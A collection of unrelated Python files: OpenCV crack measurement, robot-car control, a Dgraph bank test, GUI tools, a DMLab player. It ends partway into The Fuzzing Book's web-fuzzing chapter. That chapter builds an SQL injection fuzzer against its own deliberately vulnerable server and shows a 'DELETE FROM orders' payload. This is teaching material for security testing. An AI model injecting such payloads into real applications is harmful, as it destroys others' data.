cv2.CHAIN_APPROX_NONE) contours = contours[0] threshold_area_low = 1500 threshold_area_high = 20000 max_area = 0 c_max = None for c in contours: area = cv2.contourArea(c) if area > threshold_area_low and area < threshold_area_high: if area > max_area: max_area = area c_max = c cv2.drawContours(frame, [c], -1, (0, 255, 255), 2) if c_max is not None: leftmost = tuple(c_max[c_max[:, :, 0].argmin()][0]) rightmost = tuple(c_max[c_max[:, :, 0].argmax()][0]) topmost = tuple(c_max[c_max[:, :, 1].argmin()][0]) bottommost = tuple(c_max[c_max[:, :, 1].argmax()][0]) len_hor = bottommost[1] - topmost[1] len_ver = rightmost[0] - leftmost[0] if self.crack_type == "ver": self.length_in_cm = len_hor / len_ver * 1.8 self.len_final = self.regression_ver(slope_mean, self.length_in_cm) elif self.crack_type == "hor": self.length_in_cm = len_ver / len_hor * 1.8 self.len_final = self.regression_hor(slope_mean, self.length_in_cm) if len_hor > len_ver: self.crack_type = "ver" else: self.crack_type = "hor" try: if show_cm: cv2.circle(frame, leftmost, 3, [100, 111, 123], -1) cv2.circle(frame, rightmost, 3, [100, 111, 123], -1) cv2.circle(frame, topmost, 3, [243, 111, 123], -1) cv2.circle(frame, bottommost, 3, [243, 111, 123], -1) except Exception as msg: print("None" + msg) cv2.putText(frame, str(round(self.len_final, 5)) + "cm", (40, 25), cv2.FONT_HERSHEY_COMPLEX, 1, (0, 0, 255), 2, cv2.LINE_AA) cv2.namedWindow("Length of the crack", cv2.WND_PROP_FULLSCREEN) cv2.setWindowProperty("Length of the crack", cv2.WND_PROP_FULLSCREEN, cv2.WINDOW_FULLSCREEN) cv2.imshow("Length of the crack", frame) cv2.waitKey(1) lineDetect = LineDetect() video_getter = VideoGet() video_getter.start() while True: if video_getter.frame_data_send != "": frame_bytes = video_getter.frame_data_send else: continue frame = pickle.loads(frame_bytes, fix_imports=True, encoding="bytes") frame = cv2.imdecode(frame, cv2.IMREAD_COLOR) lineDetect.start(frame) key = cv2.waitKey(1) if key == 27: break
keyboard.py
import time from pynput.keyboard import Listener from threading import Thread pressed=False def on_press(key): print(f"Key pressed: {key}") global pressed pressed=True with Listener(on_press=on_press) as ls: def time_out(period_sec: int): time.sleep(period_sec) # Listen to keyboard for period_sec seconds ls.stop() Thread(target=time_out, args=(5,)).start() ls.join() print(pressed)
run_car_if.py
# coding: utf-8 # ロボットカー自走コード import time import logging import threading import numpy as np #from fabolib.kerberos import Kerberos from fabolib.kerberos_vl53l0x import KerberosVL53L0X as Kerberos from fabolib.car import Car from fabolib.config import CarConfig from lib.spi import SPI #from generator.simplelabelgenerator import SimpleLabelGenerator as LabelGenerator from generator.labelgenerator import LabelGenerator import copy import sys PY2 = sys.version_info[0] == 2 PY3 = sys.version_info[0] == 3 if PY2: import Queue elif PY3: import queue as Queue # ログ設定 logging.basicConfig(level=logging.DEBUG, format='[%(levelname)s] time:%(created).8f pid:%(process)d pn:%(processName)-10s tid:%(thread)d tn:%(threadName)-10s fn:%(funcName)-10s %(message)s', ) ######################################## # ステータス ######################################## main_thread_running = True stop_thread_running = True def do_stop_button(): ''' 停止ボタンの値を取得し続ける関数 ''' global stop_thread_running global main_thread_running # 停止ボタン準備 A0 = 0 # SPI PIN STOP_BUTTON_SPI_PIN = A0 spi = SPI() while stop_thread_running: data = spi.readadc(STOP_BUTTON_SPI_PIN) if data >= 1000: # 停止ボタンが押された main_thread_running = False stop_thread_running = False break time.sleep(0.1) return def main(): ''' メイン処理を行う部分 ''' global stop_thread_running global main_thread_running # I2C Bus number BUSNUM=1 # CAR準備 STOP=0 LEFT=1 FORWARD=2 RIGHT=3 HANDLE_NEUTRAL = CarConfig.HANDLE_NEUTRAL HANDLE_ANGLE = CarConfig.HANDLE_ANGLE car = Car(busnum=BUSNUM) speed = 0 angle = HANDLE_NEUTRAL ratio = 1.0 # 角度制御率 N_BACK_FOWARD = CarConfig.N_BACK_FOWARD MAX_LOG_LENGTH = CarConfig.MAX_LOG_LENGTH log_queue = Queue.Queue(maxsize=MAX_LOG_LENGTH) # バック時に使うために行動結果を保持する copy_log_queue = Queue.Queue(maxsize=MAX_LOG_LENGTH) # 連続バック動作のためのlog_queueバックアップキュー back_queue = Queue.LifoQueue(maxsize=MAX_LOG_LENGTH) # バック方向キュー # IF準備 (学習ラベル ジェネレータ) generator = LabelGenerator() # 近接センサー準備 kerberos = Kerberos(busnum=BUSNUM) LIDAR_INTERVAL = 0.05 # 距離センサー取得間隔 sec try: while main_thread_running: if not stop_thread_running: break # 強制停止ならループを抜ける ######################################## # 近接センサー値を取得する ######################################## distance1,distance2,distance3 = kerberos.get_distance() sensors = [distance1,distance2,distance3] ######################################## # IF結果を取得する ######################################## # 今回の結果を取得する generator_result = generator.get_label(sensors) if_value = np.argmax(generator_result) ######################################## # 速度調整を行う ######################################## if distance2 >= 100: # 前方障害物までの距離が100cm以上ある時、速度を最大にする speed = 100 else: # 前方障害物までの距離が100cm未満の時、速度を調整する speed = int(distance2) if speed < 40: speed = 40 ######################################## # ハンドル角調整を行う ######################################## if if_value == 1: # 左に行くけど、左右スペース比で舵角を制御する if distance1 > 100: # 左空間が非常に大きい時、ratio制御向けに最大値を設定する distance1 = 100 if distance3 > distance1: # raitoが1.0を超えないように確認する distance3 = distance1 ratio = (float(distance1)/(distance1 + distance3) -0.5) * 2 # 角度をパーセント減にする if distance2 < 100: ratio = 1.0 elif if_value == 3: # 右に行くけど、左右スペース比で舵角を制御する if distance3 > 100: # 右空間が非常に大きい時、ratio制御向けに最大値を設定する distance3 = 100 if distance1 > distance3: # raitoが1.0を超えないように確認する distance3 = distance1 ratio = (float(distance3)/(distance1 + distance3) -0.5) * 2 # 角度をパーセント減にする if distance2 < 100: ratio = 1.0 else: ratio = 1.0 if not stop_thread_running: break # 強制停止ならループを抜ける ######################################## # ロボットカーを 前進、左右、停止 する ######################################## if if_value == STOP: car.stop() car.set_angle(HANDLE_NEUTRAL) elif if_value == LEFT: car.set_angle(HANDLE_NEUTRAL - (HANDLE_ANGLE * ratio)) car.forward(speed) elif if_value == FORWARD: car.forward(speed) car.set_angle(HANDLE_NEUTRAL) elif if_value == RIGHT: car.set_angle(HANDLE_NEUTRAL + (HANDLE_ANGLE * ratio)) car.forward(speed) ######################################## # もし停止なら、ロボットカーを後進する ######################################## ''' バック時、直前のハンドルログからN件分を真っ直ぐバックし、M件分を逆ハンドルでバックする その後、狭い方にハンドルを切ってバックする ''' if if_value == STOP: time.sleep(1) # 停止後1秒、車体が安定するまで待つ if not stop_thread_running: break # 強制停止ならループを抜ける # バック時のハンドル操作キューを作成する copy_log_queue.queue = copy.deepcopy(log_queue.queue) # ハンドル操作キューが足りない時はバックハンドル操作を前進にする if log_queue.qsize() < MAX_LOG_LENGTH: for i in range(log_queue.qsize(),MAX_LOG_LENGTH): back_queue.put(FORWARD) while not log_queue.empty(): back_queue.put(log_queue.get(block=False)) log_queue.queue = copy.deepcopy(copy_log_queue.queue) speed = 60 car.back(speed) # バックする #################### # N件分を真っ直ぐバックする #################### for i in range(0,N_BACK_FOWARD): if not stop_thread_running: break # 強制停止ならループを抜ける car.set_angle(HANDLE_NEUTRAL) # N件分をバックハンドル操作キューから削除する back_queue.get(block=False) time.sleep(LIDAR_INTERVAL) #################### # 残りのログ分のハンドル操作の最大方向をハンドルに設定する #################### angle = 0 # 左右どちらが多いか angle_forward = 0 # 前進方向の回数 back_queue_size = back_queue.qsize() for i in range(0,back_queue_size): value = back_queue.get(block=False) if value == RIGHT: angle += 1 elif value == LEFT: angle -= 1 elif value == FORWARD: angle_forward +=1 if angle_forward >= back_queue_size/3: # ハンドルログは前進が多いので真っ直ぐバックする back = FORWARD elif angle > 0: # ハンドルログは左が多いので右にバッグする back = RIGHT else: # ハンドルログは右が多いので左にバックする back = LEFT for i in range(0,back_queue_size): if not stop_thread_running: break # 強制停止ならループを抜ける if back == LEFT: car.set_angle(HANDLE_NEUTRAL + HANDLE_ANGLE) # 直前のハンドル方向とは逆の右にハンドルを切る elif back == RIGHT: car.set_angle(HANDLE_NEUTRAL - HANDLE_ANGLE) # 直前のハンドル方向とは逆の左にハンドルを切る elif back == FORWARD: car.set_angle(HANDLE_NEUTRAL) time.sleep(LIDAR_INTERVAL) #################### # ここで左,前,右に20cm以上の空きスペースを見つけられない場合はひたすらバックする #################### speed=60 car.back(speed) # バックする while True: if not stop_thread_running: break # 強制停止ならループを抜ける distance1,distance2,distance3 = kerberos.get_distance() if distance1 > 20 and distance2 > 20 and distance3 > 20: break if distance1 >= distance3*2: # 右の方が圧倒的に狭いので右にハンドルを切る car.set_angle(HANDLE_NEUTRAL + HANDLE_ANGLE) # 右にハンドルを切る elif distance3 >= distance1*2: # 左の方が圧倒的に狭いので左にハンドルを切る car.set_angle(HANDLE_NEUTRAL - HANDLE_ANGLE) # 左にハンドルを切る elif distance1 >= distance3: # 右に少しハンドルを切る ratio = float(distance3)/(distance1 + distance3) # 角度をパーセント減にする car.set_angle(HANDLE_NEUTRAL + HANDLE_ANGLE*ratio) # 右にハンドルを切る elif distance3 >= distance1: # 左に少しハンドルを切る ratio = float(distance1)/(distance1 + distance3) # 角度をパーセント減にする car.set_angle(HANDLE_NEUTRAL - HANDLE_ANGLE*ratio) # 左にハンドルを切る time.sleep(LIDAR_INTERVAL) if not stop_thread_running: break # 強制停止ならループを抜ける car.stop() if_value = 0 speed = 0 time.sleep(0.5) # 停止後0.5秒待つ car.set_angle(HANDLE_NEUTRAL) time.sleep(0.5) # 停止後ハンドル修正0.5秒待つ if not stop_thread_running: break # 強制停止ならループを抜ける else: if not stop_thread_running: break # 強制停止ならループを抜ける # 前進の時は直前のハンドル操作を記憶する qsize = log_queue.qsize() if qsize >= MAX_LOG_LENGTH: log_queue.get(block=False) qsize = log_queue.qsize() log_queue.put(if_value) time.sleep(LIDAR_INTERVAL) except: import traceback traceback.print_exc() print('error! main failed.') finally: print("main end") # ボタンスレッドを停止させる stop_thread_running = False car.stop() car.set_angle(HANDLE_NEUTRAL) pass return if __name__ == '__main__': # 停止ボタンの状態を監視するスレッドを起動する t = threading.Thread(target=do_stop_button,args=()) t.start() main()
test_bank.py
# Copyright 2018 Dgraph Labs, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. __author__ = 'Garvit Pahal <garvit@dgraph.io>' __maintainer__ = 'Garvit Pahal <garvit@dgraph.io>' import unittest import logging import json import random import time import multiprocessing as mp import multiprocessing.dummy as mpd from . import helper USERS = 100 CONCURRENCY = 10 TRANSFER_COUNT = 1000 class TestBank(helper.ClientIntegrationTestCase): def setUp(self): super(TestBank, self).setUp() self.accounts = [ {'bal': 100} for _ in range(USERS) ] self.uids = [] logging.debug(len(self.accounts)) def test_bank_transfer(self): """Run transfers concurrently.""" self.create_accounts() try: total_watcher = self.start_total_watcher() success_ctr = mp.Value('i', 0, lock=True) retry_ctr = mp.Value('i', 0, lock=True) pool = mpd.Pool(CONCURRENCY) results = [pool.apply_async( run_transfers, (self.TEST_SERVER_ADDR, TRANSFER_COUNT, self.uids, success_ctr, retry_ctr) ) for _ in range(CONCURRENCY)] [res.get() for res in results] pool.close() finally: total_watcher.terminate() time.sleep(0.1) def create_accounts(self): """Creates the default set of accounts.""" helper.drop_all(self.client) helper.set_schema(self.client, 'bal: int .') txn = self.client.txn() assigned = txn.mutate(set_obj=self.accounts) txn.commit() self.uids.extend(assigned.uids.values()) logging.debug('Created %d accounts', len(assigned.uids)) def start_total_watcher(self): """Watcher keeps an eye on the total account balances.""" total_watch = looper(run_total, self.client, self.uids) process = mp.Process(target=total_watch, name='total_watcher') process.start() return process def looper(func, *args, **kwargs): def _looper(): while True: func(*args, **kwargs) time.sleep(1) return _looper def run_total(c, uids): """Calculates the total amount in the accounts.""" q = """{{ var(func: uid("{uids:s}")) {{ b as bal }} total() {{ bal: sum(val(b)) }} }}""".format(uids='", "'.join(uids)) resp = c.query(q) total = json.loads(resp.json)['total'] logging.info('Response: %s', total) assert total[0]['bal'] == 10000 def run_transfers(addr, transfer_count, account_ids, success_ctr, retry_ctr): pname = mpd.current_process().name log = logging.getLogger('test_bank.run_transfers[%s]' % (pname,)) c = helper.create_client(addr) while True: from_acc, to_acc = select_account_pair(account_ids) query = """{{ me(func: uid("{uid1:s}", "{uid2:s}")) {{ uid, bal }} }}""".format(uid1=from_acc, uid2=to_acc) txn = c.txn() try: accounts = load_from_query(txn, query, 'me') accounts[0]['bal'] += 5 accounts[1]['bal'] -= 5 dump_from_obj(txn, accounts) with success_ctr.get_lock(): success_ctr.value += 1 if not success_ctr.value % 100: log.info('Runs %d. Aborts: %d', success_ctr.value, retry_ctr.value) if success_ctr.value >= transfer_count: break except: with retry_ctr.get_lock(): retry_ctr.value += 1 with success_ctr.get_lock(), retry_ctr.get_lock(): log.info('success: %d, retries: %d', success_ctr.value, retry_ctr.value) def select_account_pair(accounts): """Selects a pair of accounts at random from accounts ensuring they are not the same.""" while True: from_acc = random.choice(accounts) to_acc = random.choice(accounts) if from_acc != to_acc: return from_acc, to_acc def load_from_query(txn, query, field): """Loads a field from the results of a query executed in a txn.""" resp = txn.query(query) return json.loads(resp.json)[field] def dump_from_obj(txn, obj, commit=False): assigned = txn.mutate(set_obj=obj) if not commit: return assigned return txn.commit() def suite(): s = unittest.TestSuite() s.addTest(TestBank()) return s if __name__ == '__main__': logging.basicConfig(level=logging.INFO) runner = unittest.TextTestRunner() runner.run(suite())
useview.py
#!/usr/bin/env python # This file is part of Diamond. # # Diamond is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # Diamond is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Diamond. If not, see <http://www.gnu.org/licenses/>. import gobject import gtk import os import threading import schemausage RELAXNGNS = "http://relaxng.org/ns/structure/1.0" RELAXNG = "{" + RELAXNGNS + "}" class UseView(gtk.Window): def __init__(self, schema, suffix, folder = None): gtk.Window.__init__(self) self.__add_controls() if folder is None: dialog = gtk.FileChooserDialog(title = "Input directory", action = gtk.FILE_CHOOSER_ACTION_SELECT_FOLDER, buttons = (gtk.STOCK_CANCEL, gtk.RESPONSE_CANCEL, gtk.STOCK_OPEN, gtk.RESPONSE_OK)) response = dialog.run() if response != gtk.RESPONSE_OK: dialog.destroy() return folder = os.path.abspath(dialog.get_filename()) dialog.destroy() #endif paths = [] for dirpath, dirnames, filenames in os.walk(folder): paths.extend([os.path.join(dirpath, filename) for filename in filenames if filename.endswith(suffix)]) self.__update(schema, paths) self.show_all() def __add_controls(self): self.set_title("Unused schema entries") self.set_default_size(800, 600) vbox = gtk.VBox() scrolledwindow = gtk.ScrolledWindow() scrolledwindow.set_policy(gtk.POLICY_AUTOMATIC, gtk.POLICY_AUTOMATIC) self.treeview = gtk.TreeView() self.treeview.get_selection().set_mode(gtk.SELECTION_SINGLE) # Node column celltext = gtk.CellRendererText() column = gtk.TreeViewColumn("Node", celltext) column.set_cell_data_func(celltext, self.set_celltext) self.treeview.append_column(column) # 0: The node tag # 1: Used (0 == Not used, 1 = Child not used, 2 = Used) self.treestore = gtk.TreeStore(gobject.TYPE_PYOBJECT, gobject.TYPE_PYOBJECT) self.treeview.set_enable_search(False) scrolledwindow.add(self.treeview) vbox.pack_start(scrolledwindow) self.statusbar = gtk.Statusbar() vbox.pack_end(self.statusbar, expand = False) self.add(vbox) def __set_treestore(self, node): def set_treestore(node, iter, type): if node.tag == RELAXNG + "element": name = schemausage.node_name(node) if name == "comment": return #early out to skip comment nodes tag = name + (type if type else "") child_iter = self.treestore.append(iter, [tag, 2]) self.mapping[self.tree.getpath(node)] = self.treestore.get_path(child_iter) type = None elif node.tag == RELAXNG + "choice" and all(n.tag != RELAXNG + "value" for n in node): tag = "choice" + (type if type else "") child_iter = self.treestore.append(iter, [tag, 2]) self.mapping[self.tree.getpath(node)] = self.treestore.get_path(child_iter) type = None elif node.tag == RELAXNG + "optional": child_iter = iter type = " ?" elif node.tag == RELAXNG + "oneOrMore": child_iter = iter type = " +" elif node.tag == RELAXNG + "zeroOrMore": child_iter = iter type = " *" elif node.tag == RELAXNG + "ref": query = '/t:grammar/t:define[@name="' + node.get("name") + '"]' if query not in cache: cache[query] = self.tree.xpath(query, namespaces={'t': RELAXNGNS})[0] node = cache[query] child_iter = iter elif node.tag == RELAXNG + "group" or node.tag == RELAXNG + "interleave": child_iter = iter else: return for child in node: set_treestore(child, child_iter, type) cache = {} set_treestore(node, None, None) def __set_useage(self, useage): for xpath in useage: try: iter = self.treestore.get_iter(self.mapping[xpath]) self.treestore.set_value(iter, 1, 0) except KeyError: pass #probably a comment node def __floodfill(self, iter, parent = 2): """ Floodfill the tree with the correct useage. """ if parent == 0: #parent is not used self.treestore.set_value(iter, 1, 0) #color us not used useage = self.treestore.get_value(iter, 1) child = self.treestore.iter_children(iter) while child is not None: change = self.__floodfill(child, useage) if change != 2 and useage == 2: self.treestore.set(iter, 1, 1) child = self.treestore.iter_next(child) return self.treestore.get_value(iter, 1) def __update(self, schema, paths): self.tree = schema.tree start = self.tree.xpath('/t:grammar/t:start', namespaces={'t': RELAXNGNS})[0] self.mapping = {} def async_update(self, start, schema, paths, context): gtk.idle_add(self.statusbar.push, context, "Parsing schema") self.__set_treestore(start[0]) gtk.idle_add(self.statusbar.push, context, "Schema parsed... finding usage") self.__set_useage(schemausage.find_unusedset(schema, paths)) gtk.idle_add(self.statusbar.push, context, "Usage found") self.__floodfill(self.treestore.get_iter_root()) gtk.idle_add(self.statusbar.push, context, "") gtk.idle_add(self.treeview.set_model, self.treestore) t = threading.Thread(target = async_update, args = (self, start, schema, paths, self.statusbar.get_context_id("update"))) t.start() def set_celltext(self, column, cell, model, iter): tag, useage = model.get(iter, 0, 1) cell.set_property("text", tag) if useage == 0: cell.set_property("foreground", "red") elif useage == 1: cell.set_property("foreground", "indianred") else: cell.set_property("foreground", "black")
play_dmlab.py
import sys from threading import Thread from pynput.keyboard import Key, Listener from utils.envs.dmlab.dmlab_utils import make_dmlab_env, dmlab_env_by_name from utils.utils import log action_table = { Key.up: 1, Key.down: 2, Key.left: 3, Key.right: 4, } current_actions = [] terminate = False def key_to_action(key): return action_table.get(key, None) def on_press(key): if key == Key.esc: global terminate terminate = True return False global current_actions action = key_to_action(key) if action is not None: if action not in current_actions: current_actions.append(action) def on_release(key): global current_actions action = key_to_action(key) if action is not None: if action in current_actions: current_actions.remove(action) def play(): env = make_dmlab_env(dmlab_env_by_name('dmlab_sparse_doors'), mode='test') env.seed(0) env.reset() # start keypress listener def start_listener(): with Listener(on_press=on_press, on_release=on_release) as listener: listener.join() listener_thread = Thread(target=start_listener) listener_thread.start() done = False episode_reward = 0 frame = 0 while not terminate: if done: env.reset() env.render() if len(current_actions) > 0: # key combinations are not handled, but this is purely for testing action = current_actions[-1] else: action = 0 obs, reward, done, info = env.step(action) episode_reward += reward frame += 1 if reward != 0: log.debug('Reward received: %.3f', reward) env.render() log.info('Episode reward %.3f', episode_reward) if not terminate: log.info('Press ESC to exit...') listener_thread.join() log.info('Done') env.close() return 0 def main(): return play() if __name__ == '__main__': sys.exit(main())
packml.py
""" Copyright 2017 Shaun Edwards Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ import os import rospy import rospkg from threading import Thread from qt_gui.plugin import Plugin from python_qt_binding import loadUi from python_qt_binding.QtCore import Qt, QThread from python_qt_binding.QtGui import QWidget, QPalette from std_srvs.srv import Trigger from packml_msgs.srv import Transition from packml_msgs.srv import TransitionRequest from packml_msgs.msg import Status from packml_msgs.msg import State from packml_msgs.msg import Mode class Packml(Plugin): def __init__(self, context): super(Packml, self).__init__(context) self.setObjectName('Packml') from argparse import ArgumentParser parser = ArgumentParser() parser.add_argument("-q", "--quiet", action="store_true", dest="quiet", help="Put plugin in silent mode") args, unknowns = parser.parse_known_args(context.argv()) if not args.quiet: print 'arguments: ', args print 'unknowns: ', unknowns # Create QWidget self._widget = QWidget() ui_file = os.path.join(rospkg.RosPack().get_path('packml_gui'), 'resource', 'packml.ui') loadUi(ui_file, self._widget) self._widget.setObjectName('Packml') if context.serial_number() > 1: self._widget.setWindowTitle(self._widget.windowTitle() + (' (%d)' % context.serial_number())) context.add_widget(self._widget) # Custom code begins here self._widget.reset_button.clicked[bool].connect(self.__handle_reset_clicked) self._widget.start_button.clicked[bool].connect(self.__handle_start_clicked) self._widget.stop_button.clicked[bool].connect(self.__handle_stop_clicked) self._widget.clear_button.clicked[bool].connect(self.__handle_clear_clicked) self._widget.hold_button.clicked[bool].connect(self.__handle_hold_clicked) self._widget.unhold_button.clicked[bool].connect(self.__handle_unhold_clicked) self._widget.suspend_button.clicked[bool].connect(self.__handle_suspend_clicked) self._widget.unsuspend_button.clicked[bool].connect(self.__handle_unsuspend_clicked) self._widget.abort_button.clicked[bool].connect(self.__handle_abort_clicked) self._service_thread = Thread(target=self.wait_for_services, args=()) self._service_thread.start() self._status_sub = rospy.Subscriber('packml/status', Status, self.status_callback) def disable_all_buttons(self): self._widget.clear_button.setEnabled(False) self._widget.reset_button.setEnabled(False) self._widget.start_button.setEnabled(False) self._widget.stop_button.setEnabled(False) self._widget.hold_button.setEnabled(False) self._widget.suspend_button.setEnabled(False) self._widget.unhold_button.setEnabled(False) self._widget.unsuspend_button.setEnabled(False) self._widget.abort_button.setEnabled(False) def set_message_text(self, text): self._widget.message_box.setText("Message: " + text) def status_callback(self, msg): self.update_button_states(msg.state.val) self.update_status_fields(msg) def update_button_states(self, state): self.disable_all_buttons() if state == State.ABORTED: self._widget.clear_button.setEnabled(True) elif state == State.STOPPED: self._widget.reset_button.setEnabled(True) elif state == State.IDLE: self._widget.start_button.setEnabled(True) elif state == State.EXECUTE: self._widget.hold_button.setEnabled(True) self._widget.suspend_button.setEnabled(True) elif state == State.HELD: self._widget.unhold_button.setEnabled(True) elif state == State.SUSPENDED: self._widget.unsuspend_button.setEnabled(True) elif state == State.COMPLETE: self._widget.reset_button.setEnabled(True) if state != State.STOPPED and \ state != State.STOPPING and \ state != State.ABORTED and \ state != State.ABORTING and \ state != State.CLEARING: self._widget.stop_button.setEnabled(True) if state != State.ABORTED and \ state != State.ABORTING: self._widget.abort_button.setEnabled(True) def update_status_fields(self, msg): self.update_state_field(msg.state.val) self._widget.substate.setText(str(msg.sub_state)) self.update_mode_field(msg.mode.val) self._widget.error_code.setText(str(msg.error)) self._widget.suberror_code.setText(str(msg.sub_error)) def update_state_field(self, state): if state == State.UNDEFINED: self._widget.state_name.setText("UNDEFINED") elif state == State.OFF: self._widget.state_name.setText("OFF") elif state == State.STOPPED: self._widget.state_name.setText("STOPPED") elif state == State.STARTING: self._widget.state_name.setText("STARTING") elif state == State.IDLE: self._widget.state_name.setText("IDLE") elif state == State.SUSPENDED: self._widget.state_name.setText("SUSPENDED") elif state == State.EXECUTE: self._widget.state_name.setText("EXECUTE") elif state == State.STOPPING: self._widget.state_name.setText("STOPPING") elif state == State.ABORTING: self._widget.state_name.setText("ABORTING") elif state == State.ABORTED: self._widget.state_name.setText("ABORTED") elif state == State.HOLDING: self._widget.state_name.setText("HOLDING") elif state == State.HELD: self._widget.state_name.setText("HELD") elif state == State.RESETTING: self._widget.state_name.setText("RESETTING") elif state == State.SUSPENDING: self._widget.state_name.setText("SUSPENDING") elif state == State.UNSUSPENDING: self._widget.state_name.setText("UNSUSPENDING") elif state == State.CLEARING: self._widget.state_name.setText("CLEARING") elif state == State.UNHOLDING: self._widget.state_name.setText("UNHOLDING") elif state == State.COMPLETING: self._widget.state_name.setText("COMPLETING") elif state == State.COMPLETE: self._widget.state_name.setText("COMPLETE") else: self._widget.state_name.setTest("UNKNOWN") def update_mode_field(self, mode): if mode == Mode.UNDEFINED: self._widget.mode_name.setText("UNDEFINED") elif mode == Mode.AUTOMATIC: self._widget.mode_name.setText("AUTOMATIC") elif mode == Mode.SEMI_AUTOMATIC: self._widget.mode_name.setText("SEMI-AUTOMATIC") elif mode == Mode.MANUAL: self._widget.mode_name.setText("MANUAL") elif mode == Mode.IDLE: self._widget.mode_name.setText("IDLE") elif mode == Mode.SETUP: self._widget.mode_name.setText("SETUP") else: self._widget.mode_name.setText("UNKNOWN") def wait_for_services(self): self._widget.setEnabled(False) transition_service_name = 'packml/transition' rospy.wait_for_service(transition_service_name, 30) self.transition_service = rospy.ServiceProxy(transition_service_name, Transition) self._widget.setEnabled(True) def shutdown_plugin(self): self._status_sub.unregister() pass def save_settings(self, plugin_settings, instance_settings): # TODO save intrinsic configuration, usually using: # instance_settings.set_value(k, v) pass def restore_settings(self, plugin_settings, instance_settings): # TODO restore intrinsic configuration, usually using: # v = instance_settings.value(k) pass def __handle_start_clicked(self, checked): rospy.loginfo("Start button press") res = self.transition_service(TransitionRequest.START) self.set_message_text(res.message) def __handle_stop_clicked(self, checked): rospy.loginfo("Stop button press") res = self.transition_service(TransitionRequest.STOP) self.set_message_text(res.message) def __handle_reset_clicked(self, checked): rospy.loginfo("Reset button press") res = self.transition_service(TransitionRequest.RESET) self.set_message_text(res.message) def __handle_clear_clicked(self, checked): rospy.loginfo("Clear button press") res = self.transition_service(TransitionRequest.CLEAR) self.set_message_text(res.message) def __handle_hold_clicked(self, checked): rospy.loginfo("Hold button press") res = self.transition_service(TransitionRequest.HOLD) self.set_message_text(res.message) def __handle_unhold_clicked(self, checked): rospy.loginfo("Unhold button press") res = self.transition_service(TransitionRequest.UNHOLD) self.set_message_text(res.message) def __handle_suspend_clicked(self, checked): rospy.loginfo("Suspend button press") res = self.transition_service(TransitionRequest.SUSPEND) self.set_message_text(res.message) def __handle_unsuspend_clicked(self, checked): rospy.loginfo("Unsuspend button press") res = self.transition_service(TransitionRequest.UNSUSPEND) self.set_message_text(res.message) def __handle_abort_clicked(self, checked): rospy.loginfo("Abort button press") res = self.transition_service(TransitionRequest.ABORT) self.set_message_text(res.message) @staticmethod def add_arguments(parser): rospy.loginfo("Add arguments callback") group = parser.add_argument_group('Options for PackML plugin') group.add_argument('--arg1', action='store_true', help='arg1 help') #def trigger_configuration(self): # Comment in to signal that the plugin has a way to configure it # Usually used to open a configuration dialog
WebFuzzer.py
#!/usr/bin/env python3 # -*- coding: utf-8 -*- # "Testing Web Applications" - a chapter of "The Fuzzing Book" # Web site: https://www.fuzzingbook.org/html/WebFuzzer.html # Last change: 2022-01-23 18:00:22+01:00 # # Copyright (c) 2021 CISPA Helmholtz Center for Information Security # Copyright (c) 2018-2020 Saarland University, authors, and contributors # # Permission is hereby granted, free of charge, to any person obtaining a # copy of this software and associated documentation files (the # "Software"), to deal in the Software without restriction, including # without limitation the rights to use, copy, modify, merge, publish, # distribute, sublicense, and/or sell copies of the Software, and to # permit persons to whom the Software is furnished to do so, subject to # the following conditions: # # The above copyright notice and this permission notice shall be included # in all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS # OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF # MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. # IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY # CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, # TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE # SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. r''' The Fuzzing Book - Testing Web Applications This file can be _executed_ as a script, running all experiments: $ python WebFuzzer.py or _imported_ as a package, providing classes, functions, and constants: >>> from fuzzingbook.WebFuzzer import <identifier> but before you do so, _read_ it and _interact_ with it at: https://www.fuzzingbook.org/html/WebFuzzer.html This chapter provides a simple (and vulnerable) Web server and two experimental fuzzers that are applied to it. ### Fuzzing Web Forms `WebFormFuzzer` demonstrates how to interact with a Web form. Given a URL with a Web form, it automatically extracts a grammar that produces a URL; this URL contains values for all form elements. Support is limited to GET forms and a subset of HTML form elements. Here's the grammar extracted for our vulnerable Web server: >>> web_form_fuzzer = WebFormFuzzer(httpd_url) >>> web_form_fuzzer.grammar[''] ['?'] >>> web_form_fuzzer.grammar[''] ['/order'] >>> web_form_fuzzer.grammar[''] ['&&&&&&'] Using it for fuzzing yields a path with all form values filled; accessing this path acts like filling out and submitting the form. >>> web_form_fuzzer.fuzz() '/order?item=lockset&name=%43+&email=+c%40_+c&city=%37b_4&zip=5&terms=on&submit=' Repeated calls to `WebFormFuzzer.fuzz()` invoke the form again and again, each time with different (fuzzed) values. Internally, `WebFormFuzzer` builds on a helper class named `HTMLGrammarMiner`; you can extend its functionality to include more features. ### SQL Injection Attacks `SQLInjectionFuzzer` is an experimental extension of `WebFormFuzzer` whose constructor takes an additional _payload_ – an SQL command to be injected and executed on the server. Otherwise, it is used like `WebFormFuzzer`: >>> sql_fuzzer = SQLInjectionFuzzer(httpd_url, "DELETE FROM orders") >>> sql_fuzzer.fuzz() 